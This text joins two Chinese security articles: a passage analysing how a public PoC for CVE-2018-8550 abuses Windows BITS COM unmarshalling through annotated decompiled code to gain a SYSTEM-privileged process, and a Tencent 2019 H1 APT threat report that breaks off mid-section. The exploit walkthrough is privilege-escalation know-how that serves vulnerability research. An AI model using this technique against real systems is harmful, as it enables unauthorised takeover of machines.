CSmAllocator::SetState(v17, pContext[5].pctxNext, pContext[6].ctxid, pContext[6].pctxNext, 0, pContext);
NowPidNext = GetCurrentProcessId();
// 继续找下一个PerContext
pContext = CContextList::_Find(&pCGlobalContext->CContextListbase, NowPidNext);
if ( !pContext )
{
pckRef = 0x800300FD;
goto LABEL_23;
}
CBasedGlobalFileStreamBaseObjOffset = pck->CBasedGlobalFileStreamBaseObj;
if ( CBasedGlobalFileStreamBaseObjOffset )
{
pCBasedGlobalFileStreamBase = (CBasedGlobalFileStreamBaseObjOffset + *NtCurrentTeb()->ReservedForOle);
v49 = v47;
}
else
{
pCBasedGlobalFileStreamBase = 0;
}
// 进入关键步骤
hr = CFileStream::Unmarshal(&ppvRet, pCBasedGlobalFileStreamBase, pCBasedGlobalFileStreamBase, v33, v36);
....
}
struct CContext *__thiscall CContextList::_Find(CContextList *this, unsigned int pid)
{
CContext *HeadCtx; // eax
char *HeadCtxFoundRet; // edx
CContext *v4; // ecx
CContext *HeadCtxlookup; // ecx
CContext *v6; // ecx
CContext *HeadCtxFound; // ecx
HeadCtx = this->_pctxHead;
HeadCtxFoundRet = 0;
while ( 1 )
{
v4 = HeadCtx ? (HeadCtx + *NtCurrentTeb()->ReservedForOle) : 0;
if ( !v4 )
break;
HeadCtxlookup = HeadCtx ? (HeadCtx + *NtCurrentTeb()->ReservedForOle) : 0;
if ( HeadCtxlookup->ctxid )
{
v6 = HeadCtx ? (HeadCtx + *NtCurrentTeb()->ReservedForOle) : 0;
if ( v6->ctxid == pid )
break;
}
if ( HeadCtx )
HeadCtxFound = (HeadCtx + *NtCurrentTeb()->ReservedForOle);
else
HeadCtxFound = 0;
// 继续找下一个
HeadCtx = HeadCtxFound->pctxNext;
}
if ( HeadCtx )
HeadCtxFoundRet = HeadCtx + *NtCurrentTeb()->ReservedForOle;
return HeadCtxFoundRet;
}
int __thiscall CPerContext::IsHandleValid(CPerContext *this)
{
CPerContext *that; // esi
int result; // eax
wchar_t Dest; // [esp+8h] [ebp-48h]
that = this;
StringCchPrintfW(
&Dest,
0x20u,
L"OleDfRoot%X%08lX",
this->CGlobalContextPtr->_luidMutexName.HighPart,
this->CGlobalContextPtr->_luidMutexName.LowPart);
// 在poc中使用NtCreateEvent使它验证成功
result = CDfMutex::IsHandleValid(&that->_dmtx, &Dest);
if ( !result )
// 失败就返回0
that->baseclass_CContext.ctxid = 0;
return result;
}
之后进入
CFileStream::Unmarshal,同样通过CContextList::_Find和方式通过设置和bits服务相同的pid从SDfMarshalPacket->CBasedGlobalFileStreamBaseObj找第一个CFileStream也就是poc中往共享内存0x7279
–
0x10写入的CFileStream,它的CFileStream->_hFile被赋值为0导致GetFileType返回-1导致验证失败(不影响程序运行),这个时候它的ctxid已经可以检测到为0,这时会进入poc中新建线程的第一个if语句断点.由于验证失败进入else,其中fstmOut->_CGlobalFileStreamPtr被赋值成SDfMarshalPacket->CBasedGlobalFileStreamBaseObj,fstmGlobal赋值成SDfMarshalPacket->CGlobalFileStreamPtr,之后它的fstmGlobal->_CGlobalFileStreamPtr->_pctxHead=0x7279被
CContextList::Add设置成fstmGlobal的相对地址,可以去判断读取SDfMarshalPacket->CBasedGlobalFileStreamBaseObj->_pctxHead已经不是0x7279,其实是fstmGlobal的相对地址.笔者发现一个小tips,fstmGlobal->_CGlobalFileStreamPtr也是可以在SDfMarshalPacket中读取到的,这样实际上求fstmGlobal->_CGlobalFileStreamPtr-SDfMarshalPacket->CBasedGlobalFileStreamBaseObj值就可以计算出bits进程的映射共享内存的映射基址也就是(NtCurrentTeb()->ReservedForOle->pvThreadBase-8)的值,从而实现读写bits进程的任意指定真实地址(非通过偏移内存计算)内存数据在共享内存区域,有兴趣的读者可以自行尝试后续研究.
int __userpurge CFileStream::Unmarshal@<eax>(unsigned int *ppvRet@<edx>, CGlobalFileStream *fstmFromGlobal@<ecx>, struct CGlobalFileStream *a3, void **a4, unsigned int a5)
{
CGlobalFileStream *fstmGlobal; // ebx
unsigned int nowPid; // eax
struct CContext *pCPerContextFound; // eax
CFileStream *fstm; // esi
CFileStream *fstmOut; // edi
int hr; // eax
int v11; // ebx
CFileStream *CFileStreamAlloced; // eax
unsigned int v14; // [esp+0h] [ebp-14h]
struct IMalloc *v15; // [esp+4h] [ebp-10h]
unsigned int *v16; // [esp+Ch] [ebp-8h]
v16 = ppvRet;
fstmGlobal = fstmFromGlobal;
nowPid = GetCurrentProcessId();
pCPerContextFound = CContextList::_Find(&fstmGlobal->_pctxHead, nowPid);
if ( pCPerContextFound )
// 就是poc的 CFileStream fstm=(CFileStream*)(0x7279 - 0x10 + (ULONG)directoryMappedAddressLocal + 8);
fstm = &pCPerContextFound[-2];
else
fstm = 0;
// 验证句柄,这里在poc中新建线程中检测到that->baseclass_CContext.ctxid=0
if ( fstm && (fstmOut = (CFileStream::IsHandleValid(fstm) != 0 ? fstm : 0)) != 0 )
{
// 这部在原作者的hajctvtable中实现
(fstmOut->_ILockBytesField.lpVtbl->AddRef)(fstmOut->_ILockBytesField.lpVtbl->AddRef, fstmOut);
if ( !fstmGlobal->_awcPath[0] )
{
LABEL_9:
*v16 = fstmOut;
return 0;
}
hr = CFileStream::InitWorker(fstmOut, 0, 1u, 0);
}
else
{
// 创建新的CFileStream
CFileStreamAlloced = CMallocBased::operator new(v14, v15);
if ( CFileStreamAlloced )
fstmOut = CFileStream::CFileStream(CFileStreamAlloced, fstmGlobal->_pMalloc);
else
fstmOut = 0;
if ( !fstmOut )
return -2147287032;
//其中fstmGlobal->_CGlobalFileStreamPt->_pctxHead=0x7279被poc设置,fstmGlobal=CGlobalFileStreamPtr,实际上就可以度bits进程的任意内存数据,因为可以根据CGlobalFileStreamPtr计算出映射共享内存的基址CGlobalFileStreamPtr-olebae-8
fstmOut->_CGlobalFileStreamPtr = fstmGlobal;
++fstmGlobal->_cReferences;
// (CContextList)(fstmGlobal->_pctxHead(0x0))->_pctxHead(0x0)= &fstmOut->baseContext(0x10)-OleBase;
// fstmOut=new_fs_offset = fsBase->baseclass_CContextList._pctxHead - 0x10;
// 创建新的CFileStream链接到(CContextList)(fstmGlobal->_pctxHead(0x0))->_pctxHead(0x0)也就是原来的0x7279
CContextList::Add(&fstmOut->_CGlobalFileStreamPtr->_pctxHead, &fstmOut->baseContext);
// 这里之前就要设置_awcPath[0]不为NULL
if ( !fstmGlobal->_awcPath[0] )
goto LABEL_9;
// 进入关键步骤
hr = CFileStream::InitWorker(fstmOut, 0, 1u, 0);
}
v11 = hr;
if ( hr >= 0 )
goto LABEL_9;
(fstmOut->_ILockBytesField.lpVtbl->Release)(fstmOut->_ILockBytesField.lpVtbl->Release, fstmOut);
return v11;
}
int __thiscall CFileStream::IsHandleValid(CFileStream *this)
{
CFileStream *that; // edi
signed int hr; // esi
that = this;
hr = 1;
// 这里是hFile要预先设为0让他返回-1
if ( this->_hFile != -1 && GetFileType(this->_hFile) != 1 )
{
hr = 0;
// 这里在poc中新建线程中检测到that->baseclass_CContext.ctxid=0
that->baseContext.ctxid = 0;
}
return hr;
}
之后进入CFileStream::InitWorker,that->_CGlobalFileStreamPtr->_pctxHead=0x7279,(CFileStream*)(0x7279
– 0x10)是第一个找到的fstmFoundNew,由于的我在poc中预先设置了
fstmFoundNew->baseContext.pctxNext = 0x7279这样pctxNext又链接到了它自己,这样可以构建 while (
fstmFoundNew )无限循环,产生一个时间差,让poc中的新建线程有时间读取最终复制的句柄.
int __thiscall CFileStream::InitWorker(CFileStream *this, const unsigned __int16 *a2, unsigned int a3, void *a4)
{
CFileStream *that; // esi
CGlobalFileStream *fstmGlobal; // eax
unsigned int v6; // ebx
int hrTemp; // eax
signed int v8; // edi
unsigned int v9; // ecx
CGlobalFileStream *v10; // eax
const unsigned __int16 *v12; // ecx
CGlobalFileStream *v13; // eax
unsigned int v14; // [esp+0h] [ebp-43Ch]
const unsigned __int16 *v15; // [esp+4h] [ebp-438h]
LPWSTR FilePart; // [esp+10h] [ebp-42Ch]
WCHAR Buffer; // [esp+14h] [ebp-428h]
WCHAR FileName; // [esp+224h] [ebp-218h]
// this=new 0x7279
that = this;
FilePart = a4;
fstmGlobal = this->_CGlobalFileStreamPtr;
v6 = fstmGlobal->_df;
// 这里之前就要设置hfile=-1,之后会被赋值
if ( this->_hFile != -1 )
return 0;
// 这里之前就要设置_awcPath[0]不为NULL
if ( fstmGlobal->_awcPath[0] )
{
// 进入复制句柄方法
hrTemp = CFileStream::Init_DupFileHandle(this, 0);
}
....
}
int __thiscall CFileStream::Init_DupFileHandle(CFileStream *this, unsigned int a2)
{
CFileStream *that; // eax
HANDLE fakePid; // edi
void *hPreDupedRef; // ecx
int fstmFoundNewOffset; // ecx
CFileStream *fstm; // esi
CFileStream *fstmFoundNew; // esi
void *hfileRef; // ebx
HANDLE bitsPid; // eax
CFileStream *_this; // [esp+8h] [ebp-4h]
that = this;
fakePid = 0;
_this = this;
hPreDupedRef = this->_hPreDuped;
// hPreDuped之前也必需要是-1
if ( hPreDupedRef != -1 )
{
that->_hPreDuped = -1;
that->_hFile = hPreDupedRef;
return 0;
}
// fstmFoundNewOffset是原CGlobalFileStreamPtr->_pctxHead=0x7279的CFileStream,不是是被替换后新创建的CFileStream,便于被查找next进入循环
fstmFoundNewOffset = that->_CGlobalFileStreamPtr->_pctxHead;
if ( fstmFoundNewOffset )
fstm = (fstmFoundNewOffset + *NtCurrentTeb()->ReservedForOle);
else
fstm = 0;
if ( fstm )
// fstmOut=new_fs_offset that->_CGlobalFileStreamPtr._pctxHead - 0x10;
// 找到后再- 0x10
fstmFoundNew = (fstm - 0x10);
else
fstmFoundNew = 0;
if ( !fstmFoundNew )
return -2147287034;
do
{
hfileRef = fstmFoundNew->_hFile;
if ( hfileRef == -1 )
{
// 如果hFile还是-1就继续找下一个
if ( fstmFoundNew->_hPreDuped == -1 )
goto LABEL_17;
hfileRef = fstmFoundNew->_hPreDuped;
}
// 根据ctxid打开poc进程
fakePid = OpenProcess(0x40u, 0, fstmFoundNew->baseContext.ctxid);
if ( fakePid )
{
bitsPid = GetCurrentProcess();
// 赋值poc进程的句柄至bits进程句柄写入CFileStream->_hFile
if ( DuplicateHandle(fakePid, hfileRef, bitsPid, &_this->_hFile, 0, 0, 2u) )
break;
GetLastError();
_this->_hFile = -1;
CloseHandle(fakePid);
fakePid = 0;
}
else
{
GetLastError();
}
LABEL_17:
// 找Next的方式就是new_fs_offset = CFileStream->baseContext.pctxNext - 0x10,这里Next预先链接为自己,这样可以构建时间差,但poc现成有时间读取最终复制的句柄
fstmFoundNew = CFileStream::GetNext(fstmFoundNew);
}
while ( fstmFoundNew );
if ( !fstmFoundNew )
return -2147287034;
if ( fakePid )
CloseHandle(fakePid);
return 0;
}
最终bits服务调用DuplicateHandle函数复制了poc中pWorkFileStream->_hFile设置的句柄,使用这个句柄后作为创建新进程的父句柄,最后成功弹出了一个System权限NotePad,如图:
> 引用
>
> [我的poc地址](https://gitee.com/cbwang505/CVE2018-8550Poc "poc")
>
> [原poc](https://www.exploit-db.com/exploits/45893 "poc")
>
> [P0地址](https://bugs.chromium.org/p/project-> zero/issues/detail?id=1648&can=1&q=dcom "poc") | 社区文章 |
# 2019年上半年高级持续性威胁（APT）研究报告
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
高级可持续性攻击，又称APT攻击，通常由国家背景的相关攻击组织进行攻击的活动。APT攻击常用于国家间的网络攻击行动。主要通过向目标计算机投放特种木马（俗称特马），实施窃取国家机密信息、重要企业的商业信息、破坏网络基础设施等活动，具有强烈的政治、经济目的。
整个2019年上半年，网络攻击频发，全球的网络安全形势不容乐观。腾讯安全御见威胁情报中心根据团队自己的研究以及搜集的国内外同行的攻击报告，编写了该份2019年上半年APT攻击研究报告。根据研究结果，我们认为主要的结论如下：
1、中国依然是APT攻击的主要受害国，受到来自于东亚、东南亚、南亚、欧美等各个区域的网络威胁；
2、网络攻击形势跟地域政治局势有相当密切的关联，地域安全形势复杂的地区，往往是APT攻击最为严重和复杂的地区；
3、APT攻击不再局限于窃取敏感材料，攻击目标开始跟民生相关，如阿根廷、委内瑞拉的大断电等；
4、大量的APT攻击武器库的泄露，使得网络安全形势更加严峻，如军用网络武器的民用化等，同时也给安全研究者的追踪、溯源带来了一定的困难。
## 二、2019年上半年攻击概览
2019年上半年来，网络安全大事频发，APT攻击也持续高发，为了掌握APT攻击在全球的活动情况，腾讯安全御见威胁情报中心针对全球所有安全团队的安全研究报告进行研究，并提取了相关的指标进行持续的研究和跟踪工作。同时，我们针对相关的研究报告进行了一个梳理和归纳，经过不完全统计，2019年上半年，全球共有42个安全厂商共计发布了144篇APT攻击报告，其中有7家中国的的安全厂商发布了43篇攻击报告，报告数量同步2018年增长了近5成。由于安全公司众多，监测可能有所遗漏，敬请谅解。我们也只选取了有具体攻击活动和明确组织信息的报告做为统计和比对。
国内外主要安全厂商披露APT数量
2019年上半年，国内共有7家安全厂商披露了43篇攻击报告，共涉及APT攻击组织26个，其中海莲花被披露的次数最多，共计7次，其次为污水（MuddyWater），共计5次。
国内安全厂商披露的主要APT组织攻击事件数量
从被攻击地域分布来看，根据腾讯安全御见威胁情报中心的统计显示（不含港澳台地区），2019年上半年中国大陆受APT攻击最多的地区为广西和北京，此外还有辽宁、云南、海南、四川、广东、上海等。详见下图（不含港澳台地区）。
2019年上半年中国大陆被APT攻击的地区分布图
而从行业分布来看，2019年上半年针对中国大陆的攻击中，主要受攻击对象包括政府部门、国有企业、科研机构等，具体分布如下：
国内被攻击目标属性分布
## 三、中国面临的APT攻击形势
中国历来都是APT攻击的主要受害者，随着中国经济的快速发展，以及国际地位的不断攀升，中国面临的外部威胁形势更加严峻。根据腾讯安全御见威胁情报中心的监测以及公开的报告和资料，我们将在2019年上半年对中国大陆有过攻击的组织按疑似的地理位置分为东北亚方向、东亚方向、东南亚方向、南亚方向、其他方向。
2019年上半年攻击中国的APT组织地域分布
### 3.1东亚方向的威胁
东亚的威胁主要来自朝鲜半岛等地区，此方向组织具有很强的政治背景，常攻击我国政府、外贸、金融、能源等领域的公司、个人及相关科研单位，该方向黑客组织十分庞大，往往呈集团化运作。最典型的攻击组织代表就是DarkHotel、Group123（APT37）、Lazarus、穷奇（毒云藤）等。2019年以来，这几个典型组织都比较活跃。
#### 3.1.1DarkHotel
DarkHotel组织旗下的寄生兽长期对我国外贸公司进行持续性攻击，在2019年上半年再次针对中国的外贸企业进行了攻击活动。该组织具有强大的木马开发能力和0day漏洞利用能力，持续与国内主流安全软件进行安全对抗。新版的寄生兽木马依然使用寄居在正常的文件中疑似通过水坑来感染目标系统，与以往不同的是，以前是通过将大量开源代码加入到木马工程中编译以实现隐藏恶意代码的目的，今年则出现通过替换正常的软件文件来实现劫持的目的，更加隐蔽和难以清理。
捆绑有寄生兽木马的网易邮箱大师程序
感染目标系统后，通过下发恶意插件的方式，对被控机器进行持久性攻击，插件如下：
寄生兽下发插件的功能列表
#### 3.1.2Group123（APT37）
该组织疑似朝鲜半岛某国政府背景，经常攻击国内的外贸公司、在华外企高管，甚至政府部门。该组织最常使用鱼叉钓鱼邮件进行定向攻击，使用Nday或者0day漏洞进行木马捆绑和伪装。在拿下目标及其后会尝试横向移动以及对根据系统信息发现定制模块，常使用dropbox等公共网络资源作为C2、中转、存储等。2019该组织仍然十分活跃。
Group123的攻击诱饵
Group123组织针对特定计算机下发的定制化模块
#### 3.1.3穷奇（毒云藤）
穷奇组织是一个对我国持续攻击时间长达数十年的老牌APT组织，该组织的攻击活动在2015年左右达到高峰，之后的活动慢慢减少，2019年以来该组织活动减少了很多，攻击频次和攻击范围都大大缩小，但其依然保持活动，如今年3月份，该组织就使用编号为CVE-2018-20250的WinRAR
ACE漏洞向中国大陆数十个重点目标投递了多个RAT木马。投递的RAT木马核心与3年前的版本相比除了配置信息外并未发现新的功能性更新，由此也可印证该组织的活跃度确实在下降。
穷奇组织的钓鱼邮件
带有CVE-2018-20250漏洞的压缩包附件
解压后释放的恶意文件
解压后的正常文件
### 3.2东南亚方向的威胁
东南亚方向的威胁，最典型的代表就是海莲花（APT32、OceanLotus），该组织是近年来针对中国大陆攻击最频繁的组织，甚至没有之一。其攻击的目标众多且广泛，包括政府部门、大型国企、金融机构、科研机构以及部分重要的私营企业等。该组织攻击人员非常熟悉我国，对我国的时事、新闻热点、政府结构等都非常熟悉，如刚出个税改革时候，就立马使用个税改革方案做为攻击诱饵主题。此外钓鱼主题还包括绩效、薪酬、工作报告、总结报告等。
2019上半年以来海莲花组织以更大规模对更广领域进行持续攻击，大量国内企业单位目标整个内网沦陷，攻击方式依旧以使用电子邮件投递诱饵的方式实施鱼叉攻击为主，投递的诱饵类型则是多种多样，有白加黑、lnk、chm、漏洞利用office文件、WinRAR
ACE漏洞文件、文档图标的exe等。一旦获取到一台机器控制权限后，立即对整个内网进行扫描平移渗透攻击。
海莲花的钓鱼邮件
海莲花使用的攻击诱饵
在安全对抗上，海莲花也表现得十分活跃，其技术更新十分频繁，且大量针对国内安全软件。如在启动方式上，上半年出现了通过修改doc、txt等文档文件类型关联程序的方式来实现开机自启动；通过在资源中添加大量的垃圾数据，充大文件体积来防文件上传；通过com组件来添加注册表从而绕过安全软件主动防御的技术。
在资源中添加大量垃圾数据
添加大量垃圾数据后的文件大小
而在受害机器上的持久化文件，白加黑依然是海莲花组织最喜欢用的方式之一，以下是近半年该组织最常用的“白加黑”组合：
海莲花常用的白加黑组合
2019上半年海莲花出现的另一个显著的新变化则是对常驻文件进行机器绑定处理，实现木马与受害机器绑定，即使用计算机名对木马payload进行加密，这样如果样本被拷贝到其他机器，如分析取证人员的电脑，则无法解密出payload而无法分析样本具体行为，对于最终的payload，Denis、Cobalt
Strike、类gh0st依然是该组织最喜欢使用的RAT，且会根据目标的价值信息，选择不同的RAT组合。
海莲花特马的payload加密结构
海莲花特马的payload解密流程
### 3.3南亚方向的威胁
南亚方向的攻击组织对中国大陆的攻击活动已经持续了近10年，代表组织有BITTER（蔓灵花）、白象（摩诃草、Patchwork、HangOver）、Gorgon
Group等。而BITTER、白象等组织之间又存在某些相似和关联，这一点在我们以往的报告中也有所提及。2019年上半年，该方向的组织依然活跃，持续有针对中国政府部门、军工、核能企业以及外贸、钢铁行业进行攻击的案例。
#### 3.3.1BITTER（蔓灵花）
BITTER（蔓灵花）也是对中国大陆进行攻击的比较频繁的一个攻击组织，攻击目标包括外交相关部门、军工、核能等企业。御见威胁情报中心曾在2018年12月详细的披露过该组织的攻击活动和技术细节，以及和白象等组织的关联关系。2019年上半年该组织的技术特点跟之前的类似，未发现有明显的改进。
蔓灵花的攻击诱饵文件
蔓灵花的钓鱼页面
#### 3.3.2白象
白象组织，也叫摩诃草、Patchwork、HangOver，也是经常针对中国大陆进行攻击的组织，除了中国大陆的目标外，巴基斯坦也是该组织的主要目标。该组织的攻击活动以窃取敏感信息为主，最早可以追溯到2009年11月，至今还非常活跃。在针对中国地区的攻击中，该组织主要针对政府机构、科研教育领域进行攻击。该组织的常用特马包括badnews、qrat等。
2019年上半年，虽然该组织频繁的针对巴基斯坦、孟加拉等目标进行了攻击活动，但是针对中国大陆的攻击相对比较平静。但是我们也有发现该组织旗下的badnews特马所使用的github等公共平台的配置的C2在2019年也进行了频繁的更新。
白象的badnews特马所配置C&C的页面
可以看到，真正的C&C地址，使用的是拼音，很有中国特色：
白象的badnews特马C&C通信包
badnews特马的命令号和功能
#### 3.3.3Gorgon Group
Gorgon
Group是一个比较特殊的攻击组织，该组织主要针对包括中国在内的全球外贸人士进行攻击，行为类似于腾讯安全御见威胁情报中心多次披露的”商贸信”。但是特别的是，Gorgon
Group还被发现有针对英国、西班牙、俄罗斯、美国等政治目标发起过定向攻击。该组织最早在2018年8月份由Palo Alto的Unit42团队进行了披露。
该组织主要的武器库为一些公开的商用的RAT木马，包括Azorult RAT、Revenge
RAT、NjRAT、Lokibot等。同时该组织还喜欢使用Bitly短域名，以及使用公开的blog和临时分享文本站点pastebin来存储攻击代码。
2019年上半年，该组织依然持续的对全球的外贸人士进行了攻击，当然中国的外贸人士也包含在内。主题包括订单、邀请函、快递等等。
使用pastebin存储攻击代码
使用blogspot存储攻击代码
### 3.4其他方向的威胁
其他方向的威胁主要来自欧美国家，典型代表如方程式、Turla等。其中方程式组织被曝光于2015年初，其活动时间最早可追溯至2001年，在2017年时，该组织被Shadow
Brokers（影子经纪人）组织黑吃黑攻陷，几乎全部资料外泄。从曝光的材料来看其拥有强大的漏洞利用能力，且多个0day漏洞已使用数年之久，包括后来被WannaCry木马利用的“永恒之蓝”漏洞都是出自该组织之手，根据曝光的信息，中国有大量的重要目标被该组织贡献，总数位列所有被攻击国家之首。该组织的攻击方式大多从重要目标防火墙、路由器等入手，通过漏洞层层植入木马，技术手段十分高超，因此长时间未被发现。从方程式被曝光之后，该组织未被发现有新的活动迹象，可能是该组织另起炉灶，完全使用新的木马进行攻击，也可能是使用更先进的技术使得自己更加隐蔽，我们也在持续挖掘很跟进中。
可以看到，被方程式组织攻陷的目标，位于中国的最多：
方程式攻击目标发布
而APT28、Turla组织被认为具有俄罗斯政府背景，其攻击目标以政治目的为主，有攻击国内目标的历史，但是在2019年上半年未发现其针对我们的活动迹象。因此不再具体描述。
## 四、国际APT攻击形势
高级持续性威胁（APT）被认为是地缘政治的延伸，甚至是战争和冲突的一部分，APT的活跃趋势也跟地缘政治等全球热点密切相关，全球APT攻击高发区域也是全球地缘政治冲突的敏感地域。2019年以来，国际形势瞬息万变且复杂，好多地区甚至都在战争的边缘，如美伊、印巴、委内瑞拉等。跟根据我们对2019年上半年APT攻击活动的分析，这些高危地区也恰恰是APT攻击活动的主要活跃地带。从而可知，网络战也慢慢变成国家间的政治博弈甚至是现代战争的重要部分。
跟之前的年度报告一样，我们依然把针对全球的威胁根据攻击组织的归属地，分几个重点的区域来进行描述，具体如下：
根据地域分布的全球威胁概况
### 4.1东亚地区
东亚地区的威胁主要来自朝鲜半岛，虽然从2018年开始，半岛关系开始缓和，但是网络攻击并未停止脚步。主要的代表包括Hermit、Group123、Lazarus等。
#### 4.1.1Hermit和Kimsuky
Hermit攻击活动主要针对区块链、数字货币、金融目标等，但是我们也发现了同样针对朝鲜相关的外交实体的一些攻击活动。该组织的攻击活动腾讯安全御见威胁情报中心曾在2018年下半年进行了详细的披露，在2019年上半年我们同样捕捉到了该组织的多次攻击活动，同样发布了详细的攻击报告。
该组织旗下的特马包括SYSCON/Sandy、KONNI等。而根据国外的安全公司ESTsecurity的报告，该组织跟另一个攻击组织Kimsuky组织有一定的关联。
KONNI和Kimsuky的代码流程示意图（引用自ESTsecurity报告）
该组织2019年上半年的新活动，跟之前的活动相比，技术手段类似，但是也有一定的更新，如通过下载新的doc文档来完成后续的攻击以及使用AMADEY家族的木马。而最终目标依然为运行开源的babyface远控木马。此外，传统的Syscon/Sandy家族的后门木马也依然活跃。
2019年上半年Hermit活动的钓鱼诱饵文档
2019年上半年Hermit活动的钓鱼诱饵文档
2019年上半年Hermit活动所使用的后门AMADEY后台
而同样Kimsuky也是2019年上半年在半岛地区活动异常频繁的攻击组织，该组织的攻击对象主要是跟朝鲜相关的政治目标，而钓鱼诱饵往往是当前的政治热点内容。攻击诱饵有很大一部分是hwp文档。
Kimsuky的攻击诱饵信息（引用自ESTsecurity报告）
Kimsuky某次攻击活动的攻击流程图（引用自ESTsecurity报告）
#### 4.1.2Lazarus
Lazarus组织被认为是朝鲜最著名的攻击组织，该组织被认为是攻击索尼公司、孟加拉国银行等攻击活动的幕后黑手，甚至连震惊全球的Wanacry勒索病毒事件也被认为是该组织所为。
近些年来，该组织主要目标包括金融公司、虚拟货币交易所等目标。而在2019年上半年，该组织就对新加坡的DragonEx交易所、OKEX交易所等目标进行了攻击活动。
GragonEX交易所发布的攻击公告
### 4.2南亚地区
南亚地区的威胁，主要集中在印巴之间。而印巴之间的关系一直以来都比较紧张，在过去的多年，围绕克什米尔地区，冲突不断。进入2019年来，冲突持续升级。
随着政治上的关系恶化，该地区的网络战在同时期也进入了一个高潮。代表组织主要有BITTER（蔓灵花）、白象、Donot（肚脑虫）、SideWinder（响尾蛇）、TransparentTribe等。
#### 4.2.1SideWinder（响尾蛇）
SideWinder（响尾蛇）为疑似来自印度的 APT
攻击组织，该组织持续针对巴基斯坦等南亚国家的军事目标进行了定向攻击。该组织最早被腾讯安全御见威胁情报中心在2018年进行了披露，而根据腾讯安全御见威胁情报中心对该组织的攻击溯源结果来看，该组织的最早的攻击活动可以追溯到
2012 年。而在2019年2月，腾讯安全御见威胁情报中心再次详细披露了该组织的一些攻击活动。
在2019年上半年，该组织的攻击活动也并未停止，相反还比较活跃。但是技术上并未有太大的改变，相关的攻击技术细节可以参考腾讯安全御见威胁情报中心之前的详细分析报告。
SideWinder的钓鱼邮件
SideWinder的钓鱼诱饵内容
该组织的特马主要采用VB编写，后门功能包括收集用户信息、记录键盘和鼠标的操作等。并且使用白加黑的手段来进行加载。如常用的：
SideWinder组织常用的白加黑组合
SideWinder组织常用的VB后门代码框架
#### 4.2.2白象
白象主要攻击巴基斯坦的政府部门、科研机构等。2019年上半年频繁的针对巴基斯坦的目标进行了攻击。腾讯安全御见威胁情报中心也披露了白象的攻击活动。
白象的攻击诱饵
白象的攻击诱饵内容翻译
保存受害者信息的FTP地址
此外，白象还频繁的使用badnews后门对巴基斯坦的目标进行了攻击活动：
白象的攻击诱饵
白象的攻击诱饵
github上存储C&C信息的页面
#### 4.2.3Donot（肚脑虫）
Donot
Team是2018年被曝光的APT攻击组织，最早在2018年3月由NetScout公司的ASERT团队进行了披露，随后国内的厂商360也进行了披露。该组织主要针对巴基斯坦进行攻击活动。
2019年上半年该组织也相当活跃，对巴基斯坦的目标进行了多次的攻击活动：
Donot Team的攻击诱饵
Donot Team的攻击诱饵执行的bat内容
除了拥有PC端上的攻击能力，该组织同样拥有移动端的攻击能力：
Donot Team的安卓木马的流程（引用自奇安信博客的分析）
#### 4.2.4TransparentTribe
TransparentTribe
APT组织，又称ProjectM、C-Major，是一个来自巴基斯坦的APT攻击组织，主要目标是针对印度政府、军事目标等。该组织的活动最早可以追溯到2012年。该组织的相关活动在2016年3月被proofpoint披露，趋势科技随后也跟进进行了相关活动的披露。
2019年上半年，该组织也对相关目标进行了多次攻击活动：
TransparentTribe的攻击诱饵
TransparentTribe组织的TTPs整理
而经过腾讯安全御见威胁情报中心的数据溯源，该组织疑似跟巴基斯坦另外一个组织Gorgon Group有一定的关联：
TransparentTribe和Gorgon关联示意图
### 4.3中东地区
中东地区向来是世界局势的火药桶，该地区是世界上政治最复杂的地区。此外，大量的恐怖袭击、局部冲突等也在此地区大量的出现。随之而来的是，该区域的网络安全形势也非常复杂和严峻，是整个2019年上半年，网络攻击最频繁、最为热闹的地区。
该地区的攻击组织力量主要以伊朗的攻击组织为主，包括MuddyWater、APT34、DarkHydrus等。
#### 4.3.1MuddyWater
MuddyWater（污水）APT组织是2019年上半年曝光度最高的APT组织，也是2019年上半年全球最活跃的APT攻击组织，国内外多家安全公司都曝光过该组织的一些攻击行动，安全社区里也有大量的安全研究人员讨论该组织攻击活动。腾讯安全御见威胁情报中心也多次曝光过MuddyWater组织的攻击活动。
MuddyWater组织是一个疑似来自伊朗的攻击组织，该组织的攻击目标主要集中在中东地区以及包括塔吉克斯坦、白俄罗斯等在内的前苏联国家，攻击的对象主要集中在外交部、国防部等政府部门。
MuddyWater组织偏爱使用采用模糊显示以及宏代码加载的诱饵文件。并在2019年更新了其攻击TTPs，如宏代码拼接内置硬编码字符串写入VBE；利用注册表，自启动文件夹启动VBE等，此外在受害者选择上也更为精确，通过第一阶段后门反馈的受害者信息挑选目标进行下一步持久化等。
MuddyWater针对塔吉克斯坦攻击的诱饵文档
MuddyWater组织的BlackWater的攻击活动
MuddyWater组织使用的powershell后门
而令人意外的是，2019年5月初，有人在telegram上售卖MuddyWater早期的C&C服务端的代码，随后被泄露。而该信息跟2019年4月趋势科技关于MuddyWater的报告中提到的他们监控到该组织在telegram泄露了C&C服务端源代码和受害者信息相吻合。
在telegram上售卖的MuddyWater服务端源码
MuddyWater服务端运行后界面
#### 4.3.2APT34
APT34，又被成为OilRig，同样是被认为是来自伊朗的APT攻击组织。跟MuddyWater一样，在2019年上半年，APT34所使用的攻击工具，也被黑客泄露。该泄露事件虽然未引起像之前Shadow
Brokers（影子经纪人）泄露NSA工具包那样来的轰动，但是也在安全界引起了不少的关注和讨论。
APT34的工具包的完整文件目录
可以看到，里面的被攻击目标包括阿联酋、科威特、约旦等。此外工具包里还包括了一份webshell列表，其中也包括多个中国网站的webshell：
APT34的工具包里泄露的webshell列表
### 4.4欧洲地区
该地区主要以东欧的攻击组织为代表，如APT28、Turla、Gamaredon等。而2019年上半年，这些攻击组织也主要围绕以乌克兰为主的东欧地区开展了网络攻击活动。
#### 4.4.1Gamaredon
Gamaredon
group是2017年第一次被披露的一个疑似俄罗斯政府背景的黑客组织，其活动最早可追溯至2013年。该组织常年攻击乌克兰政府、国防、军队等单位。2019年以来，我们又陆续发现了大量针对乌克兰政府部门的鱼叉攻击恶意邮件，诱饵文件内容主要包括乌克兰议会、法院调查文件、克里米亚等时政热点问题。
Gamaredon组织的钓鱼攻击邮件
Gamaredon组织的钓鱼攻击诱饵内容
#### 4.4.2APT28
我们在2018年的年终报告里提到了APT28是2018年最为活跃的攻击组织。而在2019年上半年，该组织的攻击活动相比2018年有所减少，但是依然相当活跃，并发起了多次的攻击活动。如2019年3月，该组织使用0day漏洞攻击了乌克兰政府，疑似试图干预乌克兰大选。
APT28组织所使用的攻击诱饵文档
而该组织的攻击武器库也非常强大，使用的语言也非常丰富，包括delphi、C#、C++、GO语言等。
#### 4.4.3Turla
